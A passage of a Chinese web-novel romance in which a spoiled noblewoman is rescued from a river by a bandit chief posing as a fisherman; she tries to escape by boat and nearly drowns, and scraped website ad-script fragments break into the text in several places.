“白原洲在水上，若要去镇里，必须渡河，”他将金簪放在手中把玩，低眉打量着，簪尾用金丝银线缠出花的模样，底下还带着两点流苏，这工费怕是比金子还贵，便是镇上的富商也少有舍得的，“但是船坏了，没法儿渡河。” “何时能修好？” “不知。” “那我何时能走？” “也不知。” 崔竹喧顿时怒上心头，也顾不得这不是她自幼生活的崔府，而是一个犄角旮旯里的破竹屋，冷声骂道：“你怎么什么都不知道？” “这得看天时地利，某又不是方士，能掐会算的，上何处知道去？”被骂的人不觉得恼，反倒被挑起了几分兴致，翘着唇角看过去，握着金簪的手指轻轻摩挲着，“你叫什么名字？” “我的名讳岂能让你一个外人知晓？”崔竹喧冷淡地扫过他一眼，“你只需尊称我一声崔女公子即可，念在你救了我的份上，虽你无知，但我非那等知恩不报之人，不会缺给你的金银。” 他抬眸，敷衍一笑，“行，崔、女、公、子。” 字音被刻意拉长，分明是她平日里听惯了的称谓，却生出点莫名的意味。 那人起身便走，她何曾被人甩过冷脸，可流落至此，她只能从他嘴里套话，是以，攥紧了衣角，不自然地开口： “我乃虞阳崔氏女，崔竹喧。” 5. 005 绝非善类 那人当即住了脚步，“可有小字？” 崔竹喧蹭的一下站起来，顿时把方才的心理建设忘得干干净净，眸中满是愠色，“你这人好生无礼！” “寇骞。” 她怔愣一下，好一会儿才反应过来，他是在说自己的名字，那人低眉轻笑几声，转身回来，端起了桌边的药碗递给她，“把药喝了，祛寒。” 一个巴掌大的粗瓷碗，倒是没有豁口，可那花纹粗劣，质地下乘，莫说跟她专用的琉璃盏相比，就是跟府里普通盛饭菜的越窑瓷也相差甚远，更遑论里头装的还是黑乎乎的药汁，在碗壁留下一层褐黄色的印子，谁知道里面放了什么！ 她还没寻到借口推拒，那人却跟她肚子里的蛔虫似的，率先解释道：“只是些桂枝汤，用桂枝、芍药、炙甘草、生姜、大枣熬的，白原洲没有大夫，大家在水里泡久了，有个头疼脑热的就熬一碗喝，多半都是有效的。” “要是还不放心，某替你试毒？” 说着，寇骞便端碗喝了一大口，用袖口随意地抹了下嘴，把碗又塞回到她的手里。 出门在外，还是保重身体要紧。 崔竹喧将碗调了个方向，闭上眼睛，正准备一口闷下，脑子里忽然涌现出那些江湖话本里的情节，下毒下得巧妙，不下在碗里，而下在碗沿，眼见别人喝着无事，自己一喝就中了招，顿时心生徨徨。 她深吸一口气，又将碗转回去，心一横，对着那人下嘴的位置贴了上去。 世间总没有哪个歹人是把毒药下在自己嘴里的！ 可下一刻，她就没工夫去想这些弯弯绕绕了，黏稠的药汁自舌尖涌向喉头，浓郁的涩味缠绕在唇齿间，苦意直钻心头，何止是药苦，根本就是她命苦，否则怎么会在这么个破地方，用破碗喝破药？ 她鼻头一酸，便有颗泪珠自眼眶滚落，顺着脸颊，砸进黝黑的药汁里。 “……不就是喝个药吗？” 一双泛着水光的眸子当即朝他瞪来，大抵是想凶凶他，可那般眼尾绯红的模样，能吓唬住谁？总归寇骞是吓不住的，他甚至忍不住多看了两眼，喉头一滚，强迫自己挪开视线，扯开边上的柜门，一个罐子一个罐子地翻找起来。 “是有蜜饯吗？”崔竹喧眼巴巴地望过去，样子别提有多凄惨。 寇骞将柜里东西清出来大半，才寻出一块用油纸包的饴糖来，好像是去岁麻子成亲时给他散的喜糖，所幸没顺手扔给路边的小毛孩，不然真没东西能用来哄人。 他把油纸在袖口上蹭掉积灰，这才递过去，“暂时只有这个，将就一下，某明日去别人家讨些。” 崔竹喧蹙眉扒开油纸，时值夏日，那糖早就化了，黏在纸上牵出细软的糖丝，如何能入口？她万分嫌恶地把糖搁在桌案上，想催他再寻些别的，就见那人已开始把杂乱的东西重新塞回柜子里，罐子似是与什么东西撞在一起，发出一声轻响，凝眉细看，却是藏在最里头的一柄黑色的刀。 什么渔民会在家里藏刀啊？这人绝非善类！ 她心头一凛，僵在原地，感觉从头到脚一阵寒意，目光重新扫向四周，能用来当武器的至多是地上那条板凳，桌上那个茶壶，可从这人先前露的那一手也知，想偷袭成功不如祈祷这人突发痼疾，暴毙而亡。 她堂堂崔氏贵女，怎么能不明不白地死在这种地方？ 把桌上黏糊糊的饴糖捡起，整个塞进嘴里，已然没心思理会甜味是否将口中的苦涩压下，她得假意顺从，把这人骗出去，然后想办法逃。 “我要沐浴。” 寇骞把柜门合上，随意点点头，“好，某去备水。” 烧水要在厨房，观这卧室也不过几步就能走完，厨房肯定隔得不远，她又支使道：“还要换洗的衣裳，要新的！” “这里的女人少，不一定有，”他拧起眉，“某今夜先帮你借套干净的，明日托人给你做，可好？” 崔竹喧勉强应了，那人便撩开帘子出去，她立时踮起脚尖，从窗棂往外偷瞧，他将蓑衣披上，头上压了顶斗笠，就冒着蒙蒙的雨，鞋底踩上烂泥，很快不见了踪影。 天上的云厚厚的，又快入夜，显得整个天地都昏昏沉沉，压得人喘不过气来。 崔竹喧拉开柜子，首先将那把刀拿好，四下没瞧见什么好用的绳子，干脆咬牙把床幔扯下来当包袱皮，摸去厨房扯了几个看上去像吃食的东西装好，牢牢地绑在身上，淋雨闯了出去。 坑坑洼洼的路甚是难走，那些泥吸着她的鞋底子不放，好不容易拔出来，又飞溅至她的裙摆，没走出多远，价值不菲的鲛纱就被糟践成黑黑黄黄的破布。 她有心想寻户人家问路，可又想到那个藏刀的歹人和邻里十分熟络的模样，说不准是一伙的，连屋檐下都不敢去，慌慌张张地逃窜，这时反倒感谢起雨来，人都回了房里避雨，才让她顺利地到了河边。 新新旧旧的船只随着河水漂漂摇摇，皆靠小臂粗的麻绳栓着，只打眼一望，少说也有十几条。这么多的船，哪条渡不得河？那人果然是满嘴谎话，企图诓骗她，还敢称自己是好人？ 呸！没脸没皮的坏东西！ 她选了瞧上去最干净的那条船，提着裙摆，只是左脚方跨过船舷，还未踩实，那船便像是忽然生出了神智，同难驯的烈马一般，容不得人骑在它头上作威作福，卯足了劲儿挣扎，绊得她一头栽进去。 掌心和膝盖都是火辣辣的疼，定然磨破了皮，又叫这污水一浸，顿时多出些如被虫蚁啃噬的痒意，她自来金尊玉贵，几时遭过这么大的罪，泪水不受控制地涌出来，而后被漫天的冷雨胡乱打下去。 她四肢并用地爬起身，站不稳，便跪伏在船里，心底将该死的蓝青溪剁成了千百份，用手背抹了抹眼睛，长刀出鞘，把禁锢船只的绳索割断，浪头一滚，船便顺水而出。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 船自由了，她也是。 * “笃笃笃” 雨点砸于瓦砾之声，同指节叩在木门上的声音混在一起，屋外尚难分辨，更遑论屋里，敲了好一会儿，才隐约听得里头桌椅挪动的“吱吖”声，而后是个爽朗的女声，又热切又骂咧。 “谁呀？饭点上门，乞白食来的？” 寇骞往后退了两步，整个人融进雨幕里。 门板被拉开一掌宽的空档，从中挤出一张脸来，上下嘴皮子一碰，正要再打趣几句，定睛却瞧清了来人，面上顿时绽开个大大的笑，“寇郎君，你要来用饭怎的不早些打个招呼？” 门户大开，妇人热络地将他引进来，“你且进屋等等，我再去烧道菜来！” “范娘子，不必那么麻烦，”寇骞并未进屋，只是立在檐下沥干斗笠上的水，“我让阿树炖了鱼，一会儿回去吃就行。” “我想来借身女儿家的衣裳，最好是新的。” “是为了你捞起来那个小娘子吧？”范娘子捂嘴笑了笑，脆声道，“往日可没见你对谁这般上心啊，莫不是好事将近了？届时摆喜宴可要叫我去做掌勺啊！” 寇骞轻咳了两声，不自然地开口：“没影的事，范娘子倒不如盼着我下回收拾了姓丁的那窝，请你烧几桌庆功宴。” “都盼，都盼啊！”范娘子弯着眉眼，进屋翻找一番，没一会儿便拿出个小木箱塞进他怀里，“本是做给云娘的，她怕新衣被泥点儿弄脏了，没舍得穿，寇郎君要，自是先紧着你这处，回去路上可当心点，莫叫雨打湿了。” “云娘既心疼新衣，我借了这回便成旧衣了，索性明日抱匹布，烦你给她再做两身新衣。” 范娘子眼神一亮，嘴角几乎要咧到耳根，却摆着手推拒道：“白原洲的人家谁不是受着寇郎君的恩惠，不过一身衣裳，云娘哪就有那么娇气？郎君不必介怀。” “也不单给云娘做，崔、就是我家那个，正逢汛期，一时半会儿也没法送她回去，还请范娘子与别的姑婶一道，帮她缝制个十套八套的衣衫，布匹和银子我明日一并送来。” “十套八套？”范娘子讶然地瞪大眼睛，可对上寇骞确定的眼神，顿时又哑了声，只是忍不住在心底腹诽，这是个下金蛋的母鸡孵出的姑娘不成，寻常人家十套八套足够穿个十年八年的了，还说不是好事将近呢，这都要把人一年四季的衣裳都做齐全了。 寇骞重新戴上斗笠，又问：“范娘子这可还有甜嘴的吃食？可否匀我些，等汛期过了，叫人从镇上买来给你补上。” 不必问，定然又是那小娘子要的。 范娘子在这白原洲住了十来年，就没听说寇骞爱吃甜的，又从屋里搜刮一番，甭管是什么糕点、果脯都抓了一把，用防水的油纸包好，系上绳，连带寇骞一并送出了屋。 这回，总不至于又把她惹恼了。 寇骞想。 6. 006 不轨之心 寇骞踏着细雨回到院子时，天已经黑了个彻底。 两块门板并未合拢，被风刮得“刺啦刺啦”地响，同晴日里的野蝉一般吵人。想来是阿树那个冒失鬼，送个鱼汤还能忘记关门，他明日得了空档非得去将人收拾一顿不可。 他拧起眉头，进院将门关好，脱了雨具，行至屋前，欲掀帘子的手一顿，转而在门框上轻叩几声。 “某可否入内？” “某带了你要的东西回来。” 里头寂然无声，他犹豫着将帘子缓慢拉开，“崔女公子？” 屋子空空荡荡，何止没有鱼汤，连人都没了。 橱柜的门大敞着，零零碎碎的东西扔了一地，床榻更是可怜，右边尚算完整，左边便只余下不规则的短布条镶在上头，活像个剃度到一半被赶出寺门的野和尚。 他只打眼一望，便知藏得最深的长刀没了。 白原洲有贼？ 笑话，便是真的有，也没有偷到他这个贼寇头子身上的道理，是以，会做出这种事的便只有崔竹喧了。 白原洲拢共才二十几户人家，跟谁都是抬头不见低头见的，若瞧见个陌生面孔，定然会第一时间来寻他，而现在每家每户都是闭门不出的状态，就可确定，她没躲进任何一处民宅，而是直奔着渡河去的。 寇骞深吸一口气，冲出家门。 雨夜用小舟渡大河，她要是真能顺利渡过去，他寇骞从此跟着她改姓崔算了！ 白原洲的路，他比她熟络得多，比起一路磕磕绊绊、平白兜了好大圈子的崔竹喧，他则是直直地奔着停船的渡口而去，终是来迟一步，只望见了被斩断的半截绳索。 “崔竹喧！” “听到就应一声，今夜不能渡河！快回来！” 被点到名姓的人倒是想应声，可光是呼吸就已然间断而艰难了，音节在喉间尚未成形，就被恶劣的浪砸上来，带着涩味的河水涌入唇齿间，似乎比那碗桂枝汤还要苦上百倍。胸腔仿佛被一只无形的手紧扼住，窒息感蔓上心头，眉眼湿透，全然辨不清那是雨、是河、还是泪。 耳畔的呼喊声渐渐弱了下去，连带着淅沥的雨、汹涌的浪都不再明晰，如浓墨般的黑暗在视野里晕开，她几乎不知道此刻自己是睁着眼睛还是闭着了。 水里可真冷啊，她想。 可下一瞬，便有一只结实有力的手揽向她的腰间，她几乎是本能的，如攥住救命稻草般，缠住了那具温热的躯体，被带着一路往上，风声和雨声重新涌进她的耳中，她却只是剧烈地咳嗽着，呕出被灌进的河水。 寇骞用麻绳将两人捆在一起，沿着绳索的另一端——渡口的老杨树，艰难地游回去，至于被浪头掀走的小舟，沉进水底的长刀，漂浮河面的包袱，管不了，也无暇去管。 大概是在皮肉被浸至与河水同温时，才踩着软烂的沙土上岸，饶是他一贯在水里讨生活，带着个人在浪里挣扎一路，眼下也免不得喘着粗气，解开腰间的绳结，冷嘲道：“当真是小瞧了你，我当你只是脾气大，没想到胆子比脾气还大，白日里刚从水里出来，夜里又要下水，急不可待想要当鱼食？” 若放在寻常，崔竹喧定受不了这番挖苦，便是拳脚拼不过，用一口银牙也得啃下他一块肉来，绝不让此人好过，可偏偏，是现在。溺水的窒息感方才退却，或咳嗽，或哽咽，泪水混着雨水湿了一张美人面。 他烦躁地皱起眉头，想把这个烫手山芋给丢出去，但耳侧娇弱弱的哭声，扰得他心潮也不平静起来。 他用冷硬的声调开口：“松手，下去。” 但那娇贵的女公子，如何会听他的指派，自顾自地哭着，如此僵持了半晌，终是寇骞先服了软，叹了口气，虚虚地拍了下她的脊背，“好了，回去吧。” “被扔河里的都是某的家当，你有什么可哭的？”此话一出，那哭声又汹涌了几分，他顿时懊恼起自己的嘴笨，深吸一口气，用此生最温软的语气去哄，“你要的新衣裳、蜜饯，某都准备好了，回去泡个热水澡，早早睡觉？” 回应他的是个虚弱的声音，“我的鞋丢了，走不了路。” 他低眉看去，左边的绣花鞋尚且规规矩矩地踩在沙土上，右边的罗袜沾不得污泥，索性用他的鞋面垫脚，他几乎要被气笑了，丢了只鞋，又不是丢了只脚，偏她的小臂还紧紧攀着他的脖颈，湿漉漉的青丝贴在他的颈侧，微凉的水珠便自她发间淌到他的锁骨，而后再沿着领口的缝隙溜进去，无端惹出一点热意。 “我捞的哪是什么姑娘，分明是个祖宗！” 寇骞轻嗤一声，却把人打横抱起，让她伏在自己肩头，天上还下着雨，这般多少能遮着些。 许是他表现得太过无害了些，又或是危险不复存在，惊魂已定，崔竹喧那一贯的蛮横心性又冒出来作祟，脸上泪痕未干，手指便去拽他的头发，“还不是你骗我！” 寇骞疼得倒吸一口凉气，拧眉瞪她，可撞上一双泪眼朦胧，心头窜起的火气又被强压下去。 “又说没船，又不肯送我走，家里还藏着刀，你根本就是满口谎话！” “渡河的大船坏了，小舟在汛期渡不了河，今年的雨又比往年都大，指不定什么时候才过汛期，某总不能像刚刚那样，带着你徒手游过去。” 崔竹喧依然用审视的目光盯着他，“那刀呢？你怎么解释？” “松荆河上水匪盛行，总要有点自保能力，”寇骞顿了下，“你若信不过某，大可明日去问问邻里，他们是否有准备刀剑。” 按理说，这般确认过他并非歹人，她应当放下心的，可这样一来，岂不是代表今日种种，皆是她的无理取闹，她抬头盯着他的下颌，沉默良久，久到寇骞正准备用一副宽和大度的模样接受她的道谢和道歉时，她陡然间话锋一转，语气凌厉，“你可敢对天发誓，对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我从未动过不轨之心？” “……不敢。” 崔竹喧冷笑一声，“果然是见色起意的庸人！” 寇骞蓦然停住脚步，看向那张倨傲的脸，世间怎会有性情这般恶劣的人，还窝在他怀里呢，就已经开始毫不遮掩地辱骂了，虽说，骂得不痛不痒，还没这豆大的雨珠砸在脸上疼。 “某既是庸人，自然贪财好色，洛水神女被一个浪打进怀里来，便是圣人也要动心的，你用这个来要求某，是不是太苛刻了些？”他的目光直白又犀利，生生逼得率先挑刺的人不自然地挪开视线，“再说，某就是想想，又没做什么，天底下人人都爱金银，也没见着个个冲进钱庄烧杀抢掠。” 他说得恳切，像是真话，崔竹喧想。 可她到底忍不住继续追问：“当真？” “……当真，”寇骞将手微微收紧了些，衣料早早便湿透黏在身上，二人又是这般亲密的姿势，他能听清自己乱了节奏的心跳声，恰恰与怀里的人同频，“所以，别怕。” “某是好人。” 他再度说道。 从渡口回小院的路并不算长，只是途径许多屋舍，灯影幢幢，崔竹喧偏头看去，透过纸糊的窗棂，隐约能瞧见里头晃动的人影，料想里头的人也是如此，能望到她这般狼狈的影子。 是故她又往里缩了些，企图把自己藏进他的轮廓里，又担心被他发现自己的小动作，目光小心地打量过去，所幸，他只是神色冷淡地走着，目不斜视。 他也是一副落汤鸡的模样，若要再说具体些，应当算是只眉清目秀的落汤鸡。 饶是没有锦衣华服作衬，他的长相也担得上一声俊俏，只是眉目冷峭了些，不似那些文人温和，更是与她的前未婚夫南辕北辙，与端方君子相去甚远，倒跟话本子里的侠客相像几分，只可惜，是个打渔的。 光是瞧那些屋宅便知，不只是他穷，这一整个白原洲都穷，把这些地圈在一起，也就她在乡下的一个庄子那么大。 “寇骞。” 她突然喊了一声，后者顺从地低眉下来，只当是她被这雨浇得受不了了，“快到了，再忍忍。” 越过院门，回到屋内，因着浑身漉漉，未免沾湿被褥，崔竹喧被他放在长凳上坐下，仍是一只脚着地，一只脚翘着的别扭姿势，她正欲支使他，那人却先一步取了双软布鞋，她下意识地把右脚往他的方向伸了些，抬眸却对上他有些玩味的目光，“确定让某来？” 她猛然间反应过来，忙将脚往后缩，“我、我自己来就行。” 寇骞轻点下头，俯身把鞋放在她脚边，四处扫视一圈，仍是没瞧见应被送来的鱼汤，料想是阿树撞见那幕后，不敢轻进他的院子，于是先将那一包零嘴摆在桌上。 “衣裳在边上的木箱里，若是饿了，便先吃些糕点垫垫，某去给你烧水。” 崔竹喧罕有地挑不出刺来。 7. 007 贪财好色 当然，崔竹喧若实在想挑，还是能挑出一堆刺来。 诸如，糕点的样式单一，入口不够细腻，再如木制的浴桶透出一股子穷酸味，再再如，澡豆里连甘松、白檀都未曾加，竟真的只是用豆子磨成的一罐粉，再再再如…… 罢了，毕竟居于他人屋檐之下，她该随和些才是。 收回目光，不去瞧那些碍眼的东西，长叹口气，用布巾仔细地搓洗着，依仗着夏日不易受寒，直到浴桶的水已经泛凉，她才被迫停手，从里头出来。 寇骞替她借来的，是一条碧色的襦裙，不知是多少年前的老旧款式了，平白把她穿得土气许多，唯有衣料还算勉强，至少没有穿得浑身痒痒，只是太短了，她一抬手，袖口便要落到小臂正中的位置，不论怎么扯，都有大半截手腕露在外头，所幸天不冷，当作半臂穿倒也凑合。 她用丝带将发丝随意系在脑后，提着裙摆，小心地沿着檐下那一小块没有污泥的地走着，推门进去，寇骞已在桌前坐着了。 这人的手脚未免太快了些，又去烧了水，又去端了鱼汤，还抽空洗好了澡。 崔竹喧在另一边坐下，目光隐晦地打量过去，他换了身蓝黑色的袍衫，腰间系着蹀躞带，只是这都要入睡的时辰了，却连护腕都扣得严严实实的，也不嫌麻烦。 但比起这些，她更关心另一点，他有没有洗干净？ 不会只是把湿衣服换了吧？江水里掺着那么多泥沙，还混着鱼腥味儿，要真这么过夜，人怕是都要腌入味儿了吧？ 或许是她的鄙夷过于直白，扰得寇骞盛汤的动作都有片刻迟疑，犹豫地看了看自己，“某的衣裳不对？” 崔竹喧不自然地挪开目光，尴尬地出声：“没有，就是觉得，你这个人干活还挺利索，这么一会儿功夫干了这么多事。” 许是为了增加言语的可信度，她连忙把先前思忖好的正事拿出来说，“你既喜欢金银，那我许你三块金饼可好？” 那人不置可否，她便自顾自地往下说：“那根簪子也给你，若你哪日不想在这处待了，将簪子递到崔府来，我定然给你安排个舒服的差事——大官可能得叔父点头，但小差我自己就能做主，总归不会让你流落街头的。” 寇骞微微挑眉，“小祖宗就不能盼某点好的？某有手有脚的，怎么就要流落街头了？” 上一刻还算温和的声音，这一刻又被他招惹至含怒，“你这人怎么这样啊！我这是在对你好呢，怎么好赖分不清呢？” 寇骞愣了下，随即低笑几声，在这唯有雨声的夜里，那笑声便格外清晰了，崔竹喧深觉这是他忤逆自己的证据，于是又扯了一把他的头发，盯着他扬起的眉眼变成呲牙咧嘴，这才满意松手。 “先前我对你的态度是不太好，但那也是因你来历不明，现在误会解开，我也许了你报酬，你要是敢到外头乱说我是恩将仇报的白眼狼——” “某不敢。” 崔竹喧对这人被教训过后的识相深感欣慰，“这还差不多。” 寇骞好笑地望了她一眼，把盛好的鱼汤推过去。 崔竹喧拿起木箸，低眉在碗里搅动一番，以验尸的目光去审视漂浮在其间的各色肉块，黑的、白的、焦黄的、深灰的，被一根根熬煮至透明的骨头穿插到一起，宛若最凶恶的歹人作案后留下的碎尸现场。 她咽了口口水，本能的有些反胃。 但她确实是饿了，毕竟醒来这么久，也没什么正经吃食下肚。 可碗里真的是能吃的东西么？她从未见过这么不堪入目的尸块汤。 偏生对面那人全无她这般千回百转的心思，只在她犹豫的这么短短时间里，他的碗就已经见了底，此刻正用汤勺利落地添补第二碗。 大约、大概、大抵是能吃的吧。 崔竹喧的木箸又在汤水里浸了浸，仍没找到下嘴的位置。 “你不吃鱼？” “这是鱼？” 寇骞停箸望过来，拧眉端详了下这惨被踢出鱼籍的豆腐炖鱼，决定为它正名，“长这样的，不是鱼是什么？会凫水的鸡还是生了鳞的鸭子？” “可是、可是……”崔竹喧想要描述一番自己平日见到的鱼汤的模样，但细纠下来，好像确实有那么几分相像的地方，眉头不由得蹙得更紧，连鱼都不认得，岂不是让人耻笑？ 她垂下头，在碗里挑拣稍微好看些的白色肉块，可木箸刚把它捞起，就瞧见里头藏的尖尖细细的刺，这要是扎进喉咙里，怎么得了。于是她又去换下一块，可下一块也有，甚至比上一块的鱼刺更多。 哪有这么不负责任的厨子，煮鱼前连鱼刺都不剔干净！ 她撂下木箸，决定还是继续靠点心充饥得好。 崔竹喧正要寻个借口推托，面前却突然伸来一只手，把她的碗端了去，将里头被搅和得稀碎的鱼汤换了个地方待着，转而迎来两个金灿灿的荷包蛋躺进碗底，上头再浇一勺雪白的豆腐，重新被摆回她的面前。 “我也不是不吃鱼……”她低眉咬了一口荷包蛋的边缘，煎得有些焦了，带着一点苦味，同好吃不沾边，只能算是勉强入口的水平。 “嗯，只是不吃鱼头、鱼尾、鱼内脏，见不得鱼皮，还不会挑鱼刺。”寇骞淡淡地把她的未尽之言补充完整，“怪这鱼不识相，没长成合你心意的模样。” 她当即剜过去一个眼刀，这话说的，搞得好像她是什么很不讲道理的人似的。 但吃人嘴软，崔竹喧决定等吃完再同他掰扯这些。 两个荷包蛋并一碗豆腐汤下肚，她又捻了块绿豆糕慢吞吞地啃着，蒙难流落的惊惶都一并被嚼碎咽下，她甚至想起那些个话本子来，果然文人写字就是夸张，一分事实非要三分吹嘘、五分藻饰，再口口相传、添油加醋，最后搞出十一分的耸人听闻来。 大邺吏治清明，哪就有那么多不要命的歹人肆意生事，动不动就说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天下不太平，这儿有盗匪，那儿有恶徒的，弄得她好生心惊胆颤了一番，结果弄出个大乌龙来。 她瞟向对面，虽然是个草寇，但知节守礼，倒是比她在虞阳相看的那些个歪瓜裂枣还强上几分。 “明日想吃什么？” “七翠羹、素烩三鲜丸、清炖蟹粉狮子头。” 寇骞收拾碗筷的动作顿了一下，重新坐下来，目光盯了她半晌，确定她是出自真心而非刻意刁难，无奈地抓了把头发，“某换个问法，你有什么不想吃的？” 崔竹喧后知后觉地意识到，这儿要是能凑出那些珍馐佳肴来，他们此刻也不必围在这张小桌前喝尸块汤，她难得体谅了下旁人，“清淡些就好，我不挑。” 寇骞敷衍地点点头，信她，不如信江里的鱼会主动蹦进他的碗里。 “你就住之前的那间卧房，被褥在床底的木箱里，若是夜里会冷，就翻出来盖上。”他动作麻利地将锅碗都放进木盆里，等白日里有光方便清洗干净，“某会在辰时叩门，其余时间有人来，不要开门，打发人去槐树下的屋子寻我就行。” 崔竹喧不由得有些疑惑，“你为何要在同一个村子里置办两处不挨在一起的屋宅？” “……因为某是去邻居家借住。” 她一时语塞，自己这个外来客，竟把屋主给赶出了家门，顿时生出了点零星的愧疚，“我再给你十两银子，当做赁屋子的钱。” 十两，都够他再盖一间屋子了。 短短一日，就许了他三个金饼、十两银子、一支金簪和一个吃喝不愁的差事，拜财神都没有拜她来得见效。 寇骞再度披了蓑衣斗笠，步入雨中。 他应是贪财好色，所以才肯费心哄人。 …… 床板很硬，却是不怎么结实的样子，崔竹喧甚至还没翻身，不过是动动胳膊挪挪腿，床架便吱呀吱呀响个没完，这般不中用的东西，不若劈了当柴烧算了。她又盯向跟乞丐装没什么两样的床幔，拿这个引火正好。 但也只是想想，总不能真的把人家的卧房一把火点了。 要不然叫寇骞明日帮她把这床幔补补？大不了，她再给他一条银铤。 她这头睡不安稳，寇骞那头亦然。 寇骞推开房门，扑面而来就是一股浓重的酒味儿，里头人划拳、摇骰，玩得气氛正好，却于此刻戛然而止，一个个都是扯出张尴尬的笑脸，暗搓搓地把押注区的银子往自己怀里收。 坐在正中央的阿树腆着脸问：“老、老大，你要来怎么不早说？” “要是说了，怎么能知道你们新花样一天比一天多？”寇骞解开喉间的绳结，立时有眼尖者跑到后头接过蓑衣斗笠，欲趁放雨具的时机悄悄溜走，脚刚迈过门槛，就听得冷淡的声音继续道，“冒雨回去，易染风寒。” 于是那脚当即退了回来，闷头钻到墙角去。 “心虚成这样，赌的什么？” 8. 008 梳云掠月 屋里一片寂然，无人应声。 寇骞冷笑一声，“行了，你们什么德行我还不知道？无非就是何日圆房、一夜几次这种龌龊东西，今日便算了，下次再让我抓到，就扔江里喂鱼去。” 众人讷讷应声，阿树倒了碗酒递过去，见寇骞喝了，这才壮起胆子问：“老大，那你准备何日办喜事啊？” 寇骞瞟过去一眼，“明日。” “啊？这是不是太仓促了？” “怎么会？现在杀，夜里守灵，明早出殡，午间吃席，快得很，要试试吗？” 阿树面色一僵，屁股往边上腾挪几步，硬生生挤去了桌子的边缘。 “这是个肥羊，出手阔绰，但来头应当也不小，自己平日说话做事都注意着点，别到时候招惹来一群官兵。” “没听说县里有这般人物啊，”角落的男人抓了抓头皮，有些惊讶，“难道是县太爷新纳的美妾？” 寇骞鬼使神差地回想起她那恶劣的性子，别说给县太爷做妾，便是县太爷给她做妾，她都不一定能顺心赏个好脸色。 将酒碗一搁，撩帘进了里屋，合衣躺上榻。 赌局没了，闷头喝酒也捱不了多久，不多时，人群便稀稀拉拉地散了，剩下阿树与牛二扯了竹席子铺在地上，也囫囵睡去。 雨打窗檐，直至四更天也没个消停，雷声倒是没有，却有此起彼伏的鼾声比雷要更响亮些，扰得榻上人翻来覆去也合不上眼睛，索性又把怀里的金簪拿出来打量。 天色昏暗，屋里又没点灯，着实是瞧不出什么名堂的，可指尖总是忍不住去抚弄垂落的流苏，他思索了半天缘由，大抵是因为贪财，所以对这等价值不菲的物什才多几分偏爱。 只是发呆得久了，便不免由此及彼，想得多些。 譬如她身上的衣料，薄如蝉翼，触手细腻，不逊于他曾见过的任何一匹绫罗，又或是她的那双锦鞋，绣工暂且不论，单是要凑齐颜色纯白、大小一致、质地圆润的二三十颗珍珠便不是件易事，随意串成链子都能被卖个好价，她却奢侈到只将之缀在鞋面上。 还有那—— “阿嚏！” 鼾声中又闯出一道喷嚏声，而后是榻边的窸窸窣窣，大概是哪个人爬起来擤鼻涕，几个大男人挤在一间屋子里睡觉，闹出动静来在所难免，寇骞懒得搭理，那人却凑过来搭话。 阿树咕嘟咕嘟灌了半碗茶水下肚，胡乱抹了把嘴，“老大，你准备怎么处理那小娘子啊？” 寇骞拨弄流苏的动作顿了下，那细长的流苏渐渐停了摇晃，他的心底却没来由生了纷乱，他索性合上眼，缓缓道：“自然是照着规矩来，养几日，索个买命钱。” 提到钱，阿树眼睛登时就亮了，眼珠子骨碌碌转上一圈，想到寇骞先前提过的“出手阔绰”，试探地伸出了五根手指，“这么说，能要到这个数？” 寇骞摇摇头，那人便忍痛收回了一根拇指，见他仍是摇头，咬牙把食指也摁了下去，“三十两总要有吧？不然还不如在水里多捞几个鎏金的匣子呢！” 寇骞心底烦闷之意更甚，把簪子塞进怀里，翻了身，面朝墙壁，敷衍道：“睡了。” 不是，一晚上不睡，聊得来劲了，就突然犯困了是吧？ 仗着寇骞后脑勺没长眼，阿树没好气地瞪过去，撇撇嘴躺下。 只是眼皮子刚耷拉下来，气还没喘匀呢，上头突然伸过来一只手，勾着衣领把他又拽起来，阿树苦大仇深地望过去，是寇骞皮笑肉不笑的脸。 “天色不早了，你去生火做饭吧。” 阿树偏头看了眼乌漆麻黑的窗外，又转头看向这个他明显打不过的人，自认倒霉，点上蜡烛，唉声叹气地进了厨房。 只是没想到，那人竟也跟了进来，杵在门边上，跟还没来得及砍的木头桩子似的。 阿树往灶下生了火，锅里添上水，寻摸了一把空心菜洗净，菜刀哐哐剁上几下，便将其投进翻涌的滚水中，再扔进几个硬邦邦的饼子一起煮烂，朝食就算烧好了。 毕竟是粗人，还能烧出什么精细的吃食不成？ 寇骞往日也是这般吃的，一个人懒得侍弄，索性跟他们搭在一锅里煮，还能省下几根柴，只是，他忽而记起昨日崔竹喧那挑挑拣拣的模样，他若端着这锅糊糊去给她，她不是要闹就是要哭了。 哄人麻烦，还是一开始就不要招她的好。 阿树对这份突如其来的嫌弃不得而知，拎着锅铲在里头费力搅和时，寇骞却从边角处收拣了几样食材进布袋，戴上斗笠便往外走。 “我不在这儿吃了，这几日不必算我的份。” “好嘞，老大你慢走！” 阿树笑着目送走那个黑漆漆的身影，而后将锅铲愤而砸进锅里。 下次他夜半醒来，便是跟野鬼搭话，也绝不同这人多说半个字！ * 天尚是蒙蒙亮，唯远处的云隙间泄进一抹光，让人能将花草树木瞧清个轮廓，才不过卯时过半，比昨日约的辰时要早了许多。 寇骞拎着东西在门外站了片刻，试探着敲了下门，“可醒了？某来给你送吃食。” 彼时崔竹喧正拿着木梳，和她乌黑的头发做斗争。 梳妆打扮，向来有侍女代劳，她一贯只需坐在镜前，口头指派今日要梳什么发式，戴那些钗环，若碰上她无有兴致，那便全权交给丫鬟打理，总归不会出错，哪像现在这般，垂鬓分肖髻梳不成，随云髻挽不上，连单螺髻都弄不好。 折腾来折腾去，头发梳没梳顺不谈，心气已然不顺了。 她来开门时，寇骞已等了小半个时辰了，懒洋洋地倚在檐下，“刚起？” 斗笠下的目光低垂着，是以，他先瞧见的是垂落的长发，因着绵绵细雨，发丝上沾染了些水汽，被徐徐的风吹拂着，发尾扫过他的手背，留下似有似无的痒意，让他很想留下一缕捻在手心，但只能想想，不然，他的头发就该落进她的手心，被生拉硬拽了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“他们今日煮的是菜糊，你可能吃不惯，某给你单做些馎饦。”他望向站在入口处，把门缝霸占完了的人，两指又轻叩了下门板，“可否让某进去？” 